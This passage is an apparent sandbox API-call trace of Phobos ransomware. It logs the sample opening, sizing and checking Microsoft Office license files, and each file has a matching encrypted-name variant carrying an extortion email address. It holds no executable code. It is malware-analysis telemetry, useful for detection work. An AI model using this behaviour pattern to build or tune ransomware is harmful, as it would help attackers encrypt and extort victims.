dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.887] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.887] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23843) returned 1 [0152.887] CloseHandle (hObject=0x564) returned 1 [0152.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms")) returned 0x220 [0152.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.888] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.888] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11655) returned 1 [0152.888] CloseHandle (hObject=0x564) returned 1 [0152.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms")) returned 0x220 [0152.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.983] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.984] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10635) returned 1 [0152.984] CloseHandle (hObject=0x580) returned 1 [0152.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms")) returned 0x220 [0152.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.985] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.985] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20779) returned 1 [0152.985] CloseHandle (hObject=0x580) returned 1 [0152.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms")) returned 0x220 [0152.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.986] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.987] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11584) returned 1 [0152.987] CloseHandle (hObject=0x580) returned 1 [0152.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms")) returned 0x220 [0152.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.987] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.988] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19929) returned 1 [0152.988] CloseHandle (hObject=0x580) returned 1 [0152.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms")) returned 0x220 [0152.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.988] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.989] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11147) returned 1 [0152.989] CloseHandle (hObject=0x580) returned 1 [0152.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms")) returned 0x220 [0152.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.989] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.990] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20902) returned 1 [0152.990] CloseHandle (hObject=0x580) returned 1 [0152.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms")) returned 0x220 [0152.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.991] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.991] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11596) returned 1 [0152.991] CloseHandle (hObject=0x580) returned 1 [0152.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms")) returned 0x220 [0152.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.992] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.992] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6795) returned 1 [0152.992] CloseHandle (hObject=0x580) returned 1 [0152.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms")) returned 0x220 [0152.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.993] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.993] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11619) returned 1 [0152.993] CloseHandle (hObject=0x580) returned 1 [0152.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0152.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.994] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.994] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=9611) returned 1 [0152.994] CloseHandle (hObject=0x580) returned 1 [0152.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms")) returned 0x220 [0152.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.997] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.997] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10627) returned 1 [0152.997] CloseHandle (hObject=0x580) returned 1 [0152.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms")) returned 0x220 [0152.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.998] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.999] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6730) returned 1 [0152.999] CloseHandle (hObject=0x580) returned 1 [0152.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms")) returned 0x220 [0152.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.000] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.001] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11586) returned 1 [0153.001] CloseHandle (hObject=0x580) returned 1 [0153.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms")) returned 0x220 [0153.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.004] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0153.005] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19931) returned 1 [0153.005] CloseHandle (hObject=0x580) returned 1 [0153.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft 